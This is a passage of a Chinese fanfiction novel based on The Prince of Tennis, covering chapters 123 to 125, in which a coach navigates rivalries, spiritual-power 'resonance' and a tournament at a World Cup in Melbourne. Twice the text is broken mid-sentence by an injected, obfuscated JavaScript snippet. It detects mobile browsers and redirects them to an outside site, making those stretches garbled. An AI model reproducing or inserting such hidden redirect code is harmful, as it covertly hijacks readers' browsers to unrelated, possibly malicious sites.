梅达诺雷的目光却越发阴冷,他似乎早就看出她暗藏的回避之意: “二阶堂教练,对自己的队伍,自己的救命恩人就是这个态度吗?” 123.第 123 章 “二阶堂教练,对自己的队伍,自己的救命恩人就是这个态度吗?” 弗里奥闻言张开了嘴,联想到上次梅达诺雷急匆匆离去,说着什么怀着希望求生,如今看来多半指的是救了他们的小顾问。 越前龙雅抛着橙子,一边饶有兴致地观察着这两人之间的机锋笑而不语。 “梅达诺雷,上次,谢谢你救我。”这句道谢倒是带上了几分真诚。 “歌德曾说过!黑暗孕育了光明,而光明却背离黑暗,诅咒黑暗。”梅达诺雷忽地大手一挥,振臂高呼。 “二阶堂,人要有感激之心。”他冷笑着。 “我知道。” 七海表面顺从,心下暗自腹诽着,他是想说他是黑暗她是光明吗。 黑暗孕育了光明,而光明却背离黑暗,诅咒黑暗......呃好吧,某种意义上他的形容还挺准确的,她确实本能地因为他的精神力......畏惧他,但她可不是他生的!= = “明白就好。你身边,围的人未免太多了......”梅达诺雷打量着她身边的三人,再次看向她时眉头猛地蹙起,少年伸出手一把将她拉到跟前,站在七海两边的少年们见状面色一沉。 他俯下身,毒蛇般的冰冷双目死死盯着她,口中吐出的话带上了几分阴恻:“二阶堂,我刚救的你,你最好别再滥用自己的精神力。” 他的声音低哑,只有他们两人能听见。 “梅达诺雷,你这是在关心我吗?”七海挑了挑眉,丝毫不怵。 “你以为救你是一件很轻松的事吗。如果不是他......呵,看好你的小命。”梅达诺雷一阵冷笑,甩开了攥着的手。 “走吧。”梅达诺雷一挥手,带着西班牙队的人便往门口走去。 他们居然要走了,七海心下暗喜。 弗里奥路过时冲她露出了一个灿烂的笑容,拍了拍她的肩,“二阶堂教练,这家餐厅味道不错,好好享用吧。” “就是他们做的烤布蕾火候有点过了,我还等了13分24秒呢,不推荐。”边博利也顺带点评了一下。 七海没理会这些人,在心中默念了无数遍快走,别再徒增事端。 然而,天不遂人愿。即将与越前龙雅擦肩而过的前一刻—— “神様,今晚有事,我等你哦。” “她不会再过来了。”手冢国光面色一肃,语气果断地替她拒绝。 越前龙雅停下了脚步,视线移向她身后的茶发眼镜少年,挑了挑眉。 “手冢君,是吧。你是以什么身份在管束她呢?” “......” “原来如此,什么身份都没有啊。”越前龙雅了然一笑。 “既然什么身份都没有,你有什么资格管她呢,手冢君?”猎食者露出了獠牙,挑衅似的话语里隐约透出几分危险的气息。 手冢国光紧抿着唇,垂在两边的双手不自觉攥成了拳头,金边眼镜反着白光,看不清镜片后的眼神。 他发现他找不出话来反驳眼前的少年,他已不再是青学的学生会长,也不再是青学网球部的部长。 “越前君,你好像也没资格管她吧,啊恩?”迹部双手插兜,面色不虞。 越前龙雅这个家伙,该不会......想到那个可能,蓝灰色的瞳孔瞬间幽暗了几分。 墨绿发少年的视线在这两人之间流连了片刻,轻慢地勾起嘴角,又将视线移向站在两人之间的少女,意有所指: “神様,你是希望我听你的话呢,还是......对了,后天的半决赛,我可能会和拉尔夫在单打二对上呢。” 以美国队那点不够看的实力,西班牙队二连胜是必然,等他上单打二,拉尔夫多半会提早上场。 七海倒吸一口凉气,慌乱中赶忙开口:“不行!” 他这话是什么意思?莱因哈特之前如此照拂他,他在美国队呆了那么久也没吞噬他的能力,她以为他是感念美国队的知遇之恩的。 难道越前龙雅,他要恩将仇报吗?她难以置信地盯着他,越前龙雅注意到她的视线,意义不明地轻笑了一声。 “神様,今晚我等你,你来吗?”橙子少年抓住落下的橙子,再次好整以暇地发问。 她定了定心神,语气笃定:“我来,你不用管这两个人说的话。” “哈哈哈,等你哦,神様。” 越前龙雅笑容愉悦,继续抛起了手中的橙子,走出门口慢悠悠地坠在走远了的西班牙队之后。而餐厅门口,适才被称为“这两个人”的两人,脸色又难看了许多。 切原赤也看着西班牙队全员走远,这才忍不住发问:“公主殿下,为什么那个梅什么说他是你的救命恩人啊?越前的哥哥说等你又是什么事?” 小海带同学满头雾水中。 “七海,我不许你再去了。”手冢国光的嘴唇紧抿着,面色冷峻地凝视着她。 “救命恩人,二阶堂,你又有什么事瞒着我们,啊恩?” 七海叹了口气,“我们先找个位置坐下吧。”她怎么有种一天到晚被审问的错觉呢。 ...... “梅达诺雷说的话是夸张手法啦,他就是帮了我个忙。”七海专注地切着餐盘里的牛排,语气故作随意。“你们该不会信了吧哈哈。” 切原赤也确实没信。“公主殿下,我还没那么笨啦。” 抬起头时,左边的他脸色依然冷肃至极,右边的他一副皮笑肉不笑的样子,七海在心中暗叹一口气。 果然,身边的单细胞海带也就罢了,现在根本没法糊弄他们了,都怪那天她说秃噜了嘴。 “过去是我想错了。” “我发誓不会再有那样的念头了,我会努力好好活着的。”七海停下了手中的动作,将刀叉放下郑重承诺。 切原赤也坐在七海边,愣愣地听着这三人的对话,完全没听懂他们在说什么。“公主殿下,你们到底在说什么?” 迹部景吾勾着唇,似笑非笑冷声道:“切原,你的公主殿下想牺牲自己,保全其他人。” 少年立刻换上了一副泪汪汪的表情,抓住了她的胳膊,墨绿色的大眼闪烁着不舍和委屈:“公主殿下,迹部桑说的是真的吗?呜呜呜,我不许。” 切原赤也并不是彻头彻尾的神经大条,他当然也发现了,她脸上时不时闪过的疲惫,虽然他不懂牺牲的具体含义,可他的公主殿下从合宿开始,就承担了很多。 他看着她的身影,有时也会发起呆,几个月前在立海大时,她分明还是不是现在的模样,他的公主殿下......从来没当过真正的公主。 可恶啊!他怎么突然想哭!不行,他决不能哭,太丢脸了! 切原赤也突然瘪着嘴,一副要哭不哭的样子。 “有过一瞬那样的想法吧,现在不会了。”七海侧过身柔声道,揉了揉海带头。 她又转回身,看向餐桌对面的两人。 “国光,你说过的话我都还记得,网球不是用来伤人的。” “啊。” “莱因哈特是我的朋友,我没法看着他的网球之路被斩断。越前君,他只是故意在你们面前那么说罢了,他其实并不是坏人,我心里有数。” “我已经找几个教练帮忙,找到了解决我精神力问题的办法。我想好好活着,我发誓,是真的。所以,最后一次不要再阻拦我了。” 她耐心地解释着,对面两人再次陷入了沉默。 一顿饭在低气压中结束,一桌子好吃的美食,切原赤也顶着对面两人的低气压皱吧着一张脸,吃得苦不堪言,脑海中自言自语不断。 【公主殿下说的话我怎么一句也听不懂啊!】 【手冢桑的表情也太严肃了!迹部桑看起来也很不高兴啊!这两个人不高兴起来也和真田副部长一样让人害怕......为什么公主殿下能这么从容地吃东西!!好厉害,不愧是他看上的配和幸村部长在一起的人。】 【只是总感觉有哪里不对劲......啊!他明明是公主殿下和幸村部长的激推,为什么会跟着这两个人一起和公主殿下吃饭啊!】海带的表情突然抓狂。 切原赤也做贼心虚般偷瞄了对面那两人几眼,暗下决心。【晚饭一定要撮合公主殿下和幸村部长两个人一起吃饭!】 还有,关于天衣无缝之极限的事......公主殿下总能给他答案,他想听听她的想法。 饭毕,手冢和迹部要各自回去继续训练,切原赤也扭扭捏捏地说找她有事,站在餐厅门口,几人分别。 七海仰头,浅笑着,紫瞳中流转着光芒:“国光,景吾,不用担心我,你们回去吧。我和赤也还有别的事要做,就在这里分开吧。” “七海......”她越是笑得温柔,他的心中就越是发紧。 “二阶堂,回答本大爷一个问题。”迹部景吾仍旧蹙着眉。 “你说。” “你说的一切都是真的,没有骗我们,啊恩?” “是真的。” “本大爷再信你最后一次,还有,离越前那个家伙远一点。”那个家伙的眼神错不了。 “我知道,你们快回去训练吧。” -------------------------- “赤也,所以是什么事呢?”待那两人走远,七海侧过头问道。 切原赤也挣扎着,满脸不甘之色:“公主殿下,为什么我学不会天衣无缝之极限......可恶!” 七海愣了几秒,赤也,原来是为了这件事......大概是上次的双打比赛,他看到她的天衣无缝之极限了吧。 “呐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13250277|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赤也,我们去一个地方说这件事吧。” 他们理所当然地来到了室外网球场。 烈日当头,墨尔本正午的热风吹拂而来,粗糙的网球场地被暴晒得滚烫,阳光将地面镶嵌成一面闪耀夺目的镜子,反射出细碎的光芒。 热风卷起地面一阵阵细小的尘埃,赛场上,站着两个人。 “解开吧,封印。接下来,是我的绝对主宰。”七海低吟着,甩了甩本就披散着的长发,她的目光锐利地射向对场的少年。 她轻声道:“赤也,接下来的每一秒,请你好好体会。” 站在对场的切原赤也眨了眨眼尚且不知道她在说什么,下一秒,他的墨绿色瞳孔骤然放大。 “天,天衣无缝......这就是天衣无缝之极限......”少年呆站在原地喃喃自语着,他的身周爆发出了盛大的绿光,荧绿的光点围绕着他舞动着。 七海在天衣无缝之极限的状态下借助绝对主宰强行开启了能力共鸣,让切原赤也同样感受到了天衣无缝。 “赤也,告诉我你现在的感受。”七海勾了勾唇,笑问道。 切原赤也目瞪口呆,左右反复摆着头,观察着自己的身体周围,伸出的双手不住地轻颤着:“公主殿下,好神奇的感觉!好厉害!!这到底是怎么做到的!” 七海的声音拔高了一截:“赤也,我怎么做到的不重要。重要的是,你要记住,此刻你感受到的一切,都是可以被打败的!” 他抬起头,张大了嘴。 “因为我会天衣无缝之极限,所以产生迷茫了是吗!全国大赛时,精市的那场比赛,我相信你还记得清清楚楚。那么此刻也是一样的,即使你拥有了天衣无缝,我也可以在没有天衣无缝的状态下打败你!” “你的幸村部长强,你的公主殿下强,从来和天衣无缝无关!” “赤也,天衣无缝只是你人生路上的一条分支,你的路在前方,不是非走向它不可,听明白了吗!” “赤也,你要超越此刻的自己!这样,在正式比赛的时候才不会被天衣无缝打败。” 对场少女的一句句箴言如同一道白日闪电,穿过墨尔本正午的烈日照射下蒸腾的热气,直抵少年的脑海深处,一寸寸劈开了笼罩在他心中的重重迷障。 “我,我要比现在的我更强......”海藻头少年轻声重复着她说的话,低头看了眼自己的手心。 莹绿色的粒子在掌心上翻飞着,蕴含着的奇妙力量一阵阵渗进皮肤,蔓延至四肢百骸。 “可是,该怎么做......” “赤也,天使化和恶魔化都是强化你能力的手段,这是你选择的路。那么,就继续把这条路坚定地走下去吧。” 紧接着,七海像是想到什么,噗嗤一下笑出了声,她清了清嗓子: “歌德曾说过,阳光越是强烈的地方,阴影就越是深邃。” 让她COS一把梅达诺雷吧,说起来,这句话用来形容他也很合适,难怪他像是把歌德的话当做了人生格言。 “现在的你还只能释放出其中的一面,可是我在想——” “天使和恶魔,正如阳光与暗影,或许本就是一体两面,共生共存的呢?” 霎时间,仿佛一切声音都被按下了暂停键。切原赤也彻底呆立在原地,嘴巴微张,不确定地自我叩问着: “天使和恶魔,是能够共存的吗......” “那就要问你自己了,赤也,毕竟是你自己灵魂里的两股力量呐。”七海笑眯眯回道。 见切原赤也仍兀自沉思着,七海走到裁判席上,弯腰从网球包中取出了两把球拍和一颗小球。 “好了,既然让你感受到了天衣无缝之极限,那么我们也别浪费,剩下来的时间,我们来打一场比赛吧!” “那天,看到我和别人打比赛是不是很羡慕呀。”她踱步到对场,揉了揉海藻头,将球拍递到他的手中,笑意狡黠,紫眸中似有星光点点。 “公......公主殿下。”切原赤也不知为何脸上突然浮起了红晕,他揪了揪额前的卷发,表情有些被揭穿的不自然。旋即,他想起了另一件事。 “可是,公主殿下,你不是在......女孩子的那个时期吗。”他扭捏地嘟囔道。 七海思考了几秒,这才反应回来他在说什么。“没关系的,我吃了止痛药。” “当女生,真的好辛苦......” “所以,赤也,以后要是找了女朋友,特殊时期要记得照顾她哦。”她促狭地挤了挤眼,话尾音调微微上扬。 “谈恋爱什么的我才不感兴趣!除非......” 少年接过她递过来的球拍,再次愣在了原地。 除非什么? 一个他过去从未想过的答案慢慢浮上心头。 124.第 124 章 夜晚的公共网球场,两人依旧早一步到达。 七海迫不及待想搞清楚白天那番话的深意,因而,当她一抵达网球场看到站在阴暗角落抛着橙子的少年时,她第一次小跑过去一把夺走了半空中的橙子。 她的语速很快,眼中对另一人的担忧没有丝毫掩饰:“越前君,你白天说的话是什么意思,你要剥夺莱因哈特的网球吗?” 越前龙雅沉默地看着面前一步之遥拿着自己的橙子的少女,缓缓勾起了一个森冷的笑容。 夏风吹过,两肩的流苏也跟着摆动。 灯光和月光照射不到的墙角阴影下,穿着西班牙队制服戴着兜帽的少年,面容被暗色平添了一层冷鸷,棕黄色的双瞳也显得愈发幽暗: “神様,你就这么急着想拯救别人?即使我没有吞噬网球会输掉比赛?” 七海没想到他会问出这个问题,这个问题......她过去从未思考过。 “我......”她顿了顿,“我相信,没有吞噬网球你也能赢。” 越前龙雅轻笑一声:“如果我输了呢。” “或者,你在最后一盘破除我的封印呢......”七海怔怔地看着他,垂在右侧抓着橙子的手不自觉收紧了,接着,她想起了打感情牌,她赶忙补充。 “越前君,你在美国队那么长时间都没有和他们打比赛,你明明也是感激他们的啊......莱因哈特,他也很照拂你,你不该那么对他。” “神様。”他向前逼近了一大步,“从一开始你就把我当坏人防着,怎么现在又指望我做好人呢?” “我......”她再次被问住了。 是的,她确实是把他当着恶人防着。 然而另一层事实是,从一开始,他们两个人之间的交易便是全凭他的心情而定,假如他不愿意听她的,她根本无法阻止。 这场交易能够维系到今天,是因为他并不是她所一直防备着的恶人。 七海低下头,抬起手默默盯了会儿掌心的橙子,又抬起头看向他,张了张嘴,不知道该说什么,最后又闭上。 她下意识咬住了下唇,两人均陷入了无言中,越前龙雅冷冷地盯着她,似乎在等她的答案。 她还是面带歉疚地开口了:“越前君,对不起。一开始确实是我过分防备着你。” “但是,后来的几次,我想的是,如果有什么办法能让你的能力独立存在就好了,或许有天你能拥有使用与否的主动权。” 橙子少年眼中闪过一丝愕然。 她无法确定,让他彻底失去吞噬能力是否是正确的,那是属于他的东西,即使给他带来痛苦,也依然是组成他人生的一部分。但是,被迫无法和别人正常打比赛一定是不对的。 至少,面对有的人他不想使用吞噬技能,就该给他这个机会不用它,比如......小不点。 她曾看到的故事里,在美国职网协会的大楼里,她都能看出他对越前龙马毫不掩饰的关爱。 “越前君,如果你剥夺了莱因哈特的能力,你和小不点恐怕会产生隔阂。”她将担忧的目光投向他。 越前龙雅依然保持着之前的姿态,并未对她的话做出任何回应,七海没忍住又开始咬唇,握着橙子的手收紧又放松,几乎要把橙子皮捏出水。 思索再三,她终于下定决心。 “越前君,莱因哈特是我的朋友,我做不到坐视你剥夺他的能力而不管。但是,我可以用别的方法让你赢得比赛。” 如果他能够使用他的吞噬能力,那恐怕莱因哈特必输,还会丧失自己的网球技能和网球基础。 既然结果无论怎么样都是他赢,那么就让他赢就好......了吧? 少年挑了挑眉:“什么办法?” 七海坚决道:“我们进行能力共鸣和同调,我教你一招技能,叫做神隐。” 那一招即使是无法掌握神识的凡人也可以学习,只是一般人根本想不到四向回旋的奥秘罢了,谁又能想到一颗球上可以叠加不同方向的旋转呢? 但她相信他能学会。 “阿啦啦,看来神様,你是无论怎么样也不愿意让我剥夺拉尔夫的网球呐。”他摘下了兜帽,唇角勾起一抹痞笑。 “但是,如果西班牙队和日本队都进入了总决赛怎么办呢?神様,那时候你也会让我赢吗?” “总决赛......我自有我的办法。到了那时候,随你用吧,属于你的吞噬网球。” “是吗......呵,有趣。不必了,不用吞噬网球我也赢他。” 少女的脸庞瞬间被最后一句话点亮:“越前君,你真的愿意吗?” “神様的意愿怎么能违背呢,毕竟你现在也是西班牙队的顾问。” 七海回味了几秒,醍醐灌顶,如梦初醒。 他说得对啊!她可是南次郎前辈钦点的西班牙队的顾问,可恶,下次见到梅达诺雷他们绝对要更嚣张点,他们该俯首称臣听她的话才对!看来学西语的事也该抬上日程了。 还有,关于不让越前君使用吞噬技能这件事,她待会儿打个电话和梅达诺雷说一声吧,虽然以他的性格,大概会很希望看到他用吞噬技能。 一通头脑风暴,回过神来,她才意识到她的手上还有“橙质”。 七海抬起手,掌心的橙子外皮已经被她的指甲掐出了几道浅痕,变得麻麻赖赖,她讪笑。 “越前君,不好意思,把你橙子皮给弄丑了......” 眼珠一转,她干脆用力把橙子掰开一分为二,两瓣晶莹饱满的橙色果肉呈现在截面上,半个表面完好的橙子被递到他的眼前,她眉眼弯弯: “要不,不好看的这一半就给我吃吧,另一半还你?” “神様,”越前龙雅笑得无奈,“你是真的不明白自己在做什么呢。” “怎么了,你该不会小气到分半个给别人都不行吧。”她撇了撇嘴。 他接走她掌心的半个橙子,随意嚼了两口咽下。 “在西班牙,分半个橙子给别人是告白的意思呐,神様。” “啊?”少女呆滞脸,紧接着呆滞又转为尴尬,“你知道我不是那个意思。” “可是我已经把你给我的半个橙子吃掉了,代表我同意了哦。”他笑得更开心了。 “那我把另外半个也还给你,你自己和自己谈恋爱吧。”七海不由分说地把另半个橙子也塞到了少年手中。 越前龙雅大笑出声。 ------------------------ 照例结束了今晚的双打比赛,在半决赛前只剩最后一次和平等院共鸣的机会。 他到底领会到了多少她的神识? 七海回到住宿大楼,正准备敲开平等院的房门,却听到不远处传来一道开门声,循声望过去,是乾贞治和柳莲二,乾的怀里捧着两个大牛皮纸袋。 “二阶堂?” “啊,乾,柳。”七海心照不宣地点了点头。 她知道,那两个牛皮纸袋里,一个牛皮纸袋里满是一张张CD,上面写着手冢的名字,以及一个个被圈起来的“秘”字,另一个牛皮纸袋里则是一本本笔记本。 时间回溯到昨晚—— “乾,我知道你手里有很多国光的资料,我这里还有一份,麻烦你整合在一起发给精市吧。” 站在乾贞治房门口,七海将手中的一本极厚的笔记本递过去,那是......过往四年以及在德国职网她收集来的资料,和乾的大约有许多重复,但或许也有些他未曾注意到的内容。 “二阶堂,你没关系吗?”乾贞治面无表情地扶了扶眼睛。 “什么?”七海没能理解他的意思,眨了眨眼。 “手冢......”乾贞治只把话说了一半。 她了然地笑了笑,“乾,你把我想成什么了。我是日本队的教练,当然现在只为日本队的胜利。” 她有她的立场,胜利不可能为感情让路。 “好,我知道了。”乾贞治没有再过多追问,接过笔记本转身回到了房间。 ---------------------- “七海,乾,柳?”又是一道开门声,只是这次的声音很近,是从背后传来,七海转过身,看到了站在门口的幸村精市。 “精市。” “幸村。”乾贞治不由分说地将手中的两大袋子资料按到少年胸前,幸村精市下意识接了过去。 “等一下,乾,这是什么?”幸村精市愕然追问。 “那是我花三年时间收集的手冢个人比赛的数据,或许会对你有所帮助。”乾贞治竖起手指煞有介事道。 “贞治,没关系吗。”柳莲二很清楚这些资料对于乾贞治而言有多宝贵。 “Data,只有在被使用的时候才有价值。而且,手冢身上蕴含的强大力量是无法用数据衡量的。我想收集这份强大的数据,所以......呵呵呵。”乾贞治意味深长地笑着,拍了拍柳莲二的肩,两人转身离去。 “七海,你呢,你怎么站在这里?”幸村精市又看向她温声问道。 “啊,我是来找平等院有些事。”七海顿了顿,“精市,乾的这些数据,可以帮助你发现国光的一些击发球习惯和小动作,但,恐怕,并不能作为他现在的实力数据参考......” 她很清楚,现如今的手冢国光与过去,远超“今非昔比”这四个字蕴含的差距。她再次回忆起在德国职网协会楼上,目睹的那场对打。 “精市,小心国光的领域技能。”她整肃了神色。 幸村精市安静地聆听着,等她说完这才开口:“七海,放心。” 她不是第一个对他这么说的人。 ------------------------ 几小时前。 幸村精市的房门口响起一阵敲门声。 “迹部?”幸村精市推开房门,有些意外房门口出现的人。 “幸村,跟本大爷去网球场。”迹部景吾轻抚着眼下的泪痣,傲然道,他的身后背着网球包。 鸢尾少年不着痕迹地皱了皱眉:“迹部,有什么事吗?”他刚结束和德川和也的秘密练习。 迹部冷哼一声:“不想她和手冢那家伙跑德国去,就跟本大爷来。” 幸村精市的目光沉了沉:“......我知道了。” --------------------- 七海敲响了平等院凤凰的房门。 “平等院,这几天你的第九识领悟得怎么样了?”门一被打开,她就迫不及待地开口。 金发少年走回到落地窗边,双手抱臂黑着张脸:“二阶堂,放出你的精神力让我感受一下。” 少女愣了神,晚上比赛时候进行能力共鸣,他应该早就已经感受到了,为什么现在还要她释放出来。 “好。”她还是依言照做。 他的眉头蹙得更紧了,“明晚的双打比赛取消。” “为什么?”七海张开了嘴,随即,她想到另一个可能。“难道,你触摸到第九识的门槛了!”她冲到落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268245|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗边,莹亮的紫瞳中闪烁着期待的光芒。 “嗯。”平等院随意地点了点头。 “太好了!”七海没忍住握紧双拳原地蹦了一下,满脸喜色藏也藏不住。心中的一块大石落地,她也有闲心调侃起窗边的少年来: “平等院,看来你抄那些经书也不是没用嘛,神佛还是能感悟到你的诚心的。” 玄幻网球和玄学配合效果更佳吗,哈哈。 平等院凤凰闻言只是微不可见地勾了勾唇角。 不过,她还是不能完全放心。平等院这个人说着仁义可笑,却也想着宁可牺牲自己也要胜利,此刻他说的话,当然有可能是谎话。 虽然他不知为何后来还是接受了每晚的双打比赛,可她还需要最后一重保险。 “呐,平等院,瑞士队走之前,阿玛迪斯让我转告你,他等着你成为职业选手,在职业赛事上再和他一战。”七海站在少年面前突兀地开口。 她仰头看向他:“两年前的那场比赛,你很遗憾吧。” 在漆黑的深夜里,与阿玛迪斯的那场战役,令他死亡而后涅槃重生,却失去了与阿玛迪斯再战的机会。 “我想大概还有法国的那一场世界杯。” 两年前的法国U17世界杯,在交通事故中救下Duke的妹妹身负重伤的他,给队伍拖了后腿。 她也是前几天从种岛修二口中得知,当时比赛他遭遇的指责与重压。 少女的声音平静无波,脸上却一直维持着浅笑:“平等院,Duke他想一直和你一起打网球。” “你现在可是日本第一啊,答应我,一定要好好活着打赢博格。” 然后,成为职业选手,去迎接你的一场又一场胜利,平等院凤凰。 “平等院,你弯下来身子一点。”七海冲他招了招手,他的个子太高了。 金发少年听着她的话,神色由沉肃转到讶异,又变回面无表情:“嗤,二阶堂,你又想干什么。”这个女人一天到晚花招未免太多。 “我突然想看看你的白色发带后面是什么,老大,让我看看嘛。”七海俏皮道,内心疯狂唾弃着自己的做作语调。 虽然她已经知道了,是在合宿营地与鬼十次郎那一战留下的疤痕。 平等院凤凰因着这突如其来的撒娇正准备无情嘲讽,身体却在无意识间微微屈下身。 还没等他进一步行动,下一瞬,她毫不犹豫向前一步,抬起手将手掌覆上他的额头,她的精神力悄无声息地渗进他的精神世界。 她坠入了一个洞窟中。 “这里......莫非是阿修罗神道?!”七海惊呼出声。 眼前是一条狭长得几乎望不到尽头的昏暗洞穴,只有最远处隐隐约约能看到一丝幽幽光线。 视线所及,到处都是突起的粗砺的岩石块,地面也凹凸不平,满是细碎的石砾。 耳边一片死寂,除了布料摩擦声听不到一丝声音。 她的神经高度紧绷,向前走去,不知走了多久,直到她看到了一扇门。 那是一扇双开的古旧木门,门扇上模糊的木雕图案隐约可见,刻着一些复杂的几何纹样和神秘的字符。中间挂着两个黄铜门环,门环上的磨损几乎掩盖了它原本的光泽。 七海抬脚走上台阶,双手伸向门环—— 不对。 她知道,他选择的不是这条路。 少女倏地放下双手,再次转身环顾四周时,她在偏僻的一角发现了一处极为隐蔽的黑暗小路,尽头没有一丝光点,她勾起了唇角。 “平等院,这才是你选择的路呐。” 未再过多思索,她果断地抬脚探入了这处昏暗洞穴,甫一走进,她便皱起眉。 这个洞窟中,每一个角落都流淌着阴郁肃杀的气息,令人不由自主地屏住呼吸,这就是他选择的更为黑暗的路吗。 一步步向前,然后,走到尽头,路断了。 她的眼前是一个深不见底的深渊。 垂直向下的洞壁笼罩在一片浓重的黑暗之中,让人无法看清究竟有多深。 七海站在边缘,垂头俯视深渊,忽地感到一阵心悸,仿佛黑暗本身正在向她伸出漆黑黏腻的触须,要将她拽进它的怀抱之中。 一道轻声呢喃响起: “既然我也是置死地而后生的人,那么这条路,我应当也能下去。” 七海深吸了一口气,闭上双眼,纵身一跳—— 下坠的时间似乎无穷无尽,耳畔呼啸的风声不绝于耳,不知道究竟已经落下多久。 四周的黑暗如同一张张巨大的黑色天网,紧紧包裹住她,压迫着她的呼吸。 终于,感觉到身体逐渐减缓了下降的速度,她慢慢睁开双眼,发现自己已平稳地站在一个坚实的地面上。 七海打量起这片昏暗之地。 这里,似乎已是终极之处,并没有开拓出新的道路。果然......他骗了她。 周围同样被一片漆黑所笼罩着,但她隐约看到了一个模糊的人影正坐在不远处,她轻手轻脚地靠近—— 闭眼盘腿坐在黑暗中的人,不是平等院凤凰又是谁。 “总算找到你了。”她笑意狡黠。“我的精神力很宝贵哦,既然分给你了,平等院你就好好感悟吧。” 再一次走到少年面前,她将手覆上他的额头,闭上双眼,探入了藏在他精神世界最深处的精神力。 视线未及之处,骤然间,一阵狂风从洞窟内部掀起,仿佛从时空的缝隙中穿透而来,呼啸着卷起地面上的碎石块...... 125.第 125 章 第二日一早,七海便干脆地把手机关机,走出了日本队的宿舍楼。 平等院醒来发现自己精神世界的异常大约会气急败坏地来找她,让她逃避一会儿吧。 事实也确实如她所料。平等院凤凰从美梦中醒来时,天光大亮,他发现自己居然躺在地板上,这才一点点回想起昨晚发生的事。 惊疑之下,他在原地盘膝而坐,进入冥想状态,回到了自己的精神世界,却发现他身处的那片阿赖耶识的终极之地被破开了一处新的路。 与深渊尽头的黑暗不同,那条路的尽头白光烁烁,走进去,是一片极其光明,温暖的地方,那是......阿摩罗识,无垢识,或者说,神识。 只是,那片圣洁的净土似乎并不稳定,轻轻摇晃着,随时有坍塌的风险。 退出冥想,他起身一把抓起放在茶几上的手机正预备打电话给她,屏幕亮起,两条未读短讯停留在消息栏上。 【06:12 from二阶堂七海:不想听你冲我发火,所以手机暂时关机了,要是觉得欠我,以后就老老实实留在日本职网协会为我打工^^】 【06:13 from 二阶堂七海:带领日本队站在世界顶峰,然后成为职业选手吧,平等院。】 -------------------------- 七海去了美国队的宿舍楼下,她决定帮人帮到底,送佛送到西。 误会戏码什么的,最讨厌了! 暂时给手机开机,她拨通了一个电话: “摩西摩西,莱因哈特,小不点和你在一起吗?” “那太好了,麻烦你让小不点下来一下,我在门口等他。” ...... “二阶堂学姐,有什么事吗?”穿着美国队制服的越前龙马出现在了美国队的宿舍楼门口,亮亮的猫瞳上写着诧异。 “越前,我们去边上的花园里说吧。” 两人一路走到选手村的花园,早晨的墨尔本温度适宜,又恰逢休赛期间,随处可见三三两两漫步于其中的各国选手。 空气中弥漫着草木花香,他们挑了一颗苍郁大树,面对面坐在树荫下,阳光透过树叶间的缝隙在少年的脸上留下斑驳的光影。 七海思索半天摆出了一个舒服的侧坐姿势,紧接着开门见山:“越前,为什么那天突然不愿意和我们打双打了呢?” “那是因为......”越前龙马压了压帽檐,面上闪过一丝犹豫。 七海了然。“是因为你发现了你哥哥的能力吗?” 小少年愕然抬头,“二阶堂学姐,你知道吗?不......他不是我哥哥。” “我很早就知道。”七海点了点头,“而且我可以向你保证,在世界杯期间他没有吞噬任何人的网球。” “二阶堂学姐,你凭什么那么确信?”越前龙马一副半信半疑的模样。 七海语不惊人死不休:“因为我每天都封印了他的吞噬能力,不然我怎么拉他和你来打双打呢,你看你讨厌的平等院的技能不是一个都没有被他剥夺嘛。” 越前龙马的猫瞳瞬间瞪大,“二阶堂学姐......” “呐,越前,接下来的话,认真听。”她的语气一转,严肃起来。 “你哥哥的吞噬能力并不是他能够主动控制的。他一旦和别人认真地打网球,就会剥夺对方的能力。这也是为什么,他一直不愿意和你认真打比赛。” “我能够从他的眼神中看出来,他是很疼爱你的。所以我希望你不要误会他,虽然我可能并没有什么立场说这句话。” 面前的少年一直保持着嘴巴微张的状态,放在身前的双手有些无措。 “其实,拥有吞噬网球真的就是一件很幸运的事吗?”七海叹了口气,视线望向不远处一颗大树下,正在野餐垫上甜蜜地互相喂对方便当的一氏裕次和金色小春,笑容缓缓收起。 “越前,你看那边。”七海伸手指了指那边相亲相爱过分黏腻的那两人,越前龙马顺着少女所指的方向望过去,看到了她所指的两人。 “二阶堂学姐,什么意思。”越前龙马转回头,无语地撇了撇嘴。四天宝寺那两个人的风格在全国大赛半决赛的时候他就见识到过了,真是有够腻歪的。 “越前,还不明白吗?”她收回视线,紧盯着少年,放缓了语速。 “吞噬网球带给他的,除了强大还有不自由和孤独。” “你哥哥,在美国队期间并没有和任何人认真打过比赛,这证明了他不想伤害他们。可是,不能自由地和欣赏的强者打比赛,分明是一种痛苦啊。” “越前,这是你所没有体验过的痛苦。” 越前龙马保持着抬头看她的姿势,彻底愣在了原地。 一阵微风拂过,吹落了大树上的几片绿叶,其中一片晃晃悠悠落在了少年的帽子上。七海伸出手,将叶子取下,嘴角勾起了一个浅笑。 “越前,快快想起和哥哥的过去吧。你,或许是他在这个世界上少有的真心以待的人了。”她还是没忍住隔着帽子摸了摸少年的头。 七海的语气笃定:“我可以向你保证,至少在总决赛对上日本队之前,他不会吞噬任何人的网球。”她选择相信他。 小少年此刻终于从五味杂陈中回过神来,下意识追问:“那总决赛呢?” “总决赛,我会派一个人上场,那个人,我相信即使是吞噬网球也不会畏惧。”那是她从一开始就给予了百分百信任的人,她已经想到了办法教他如何应对。 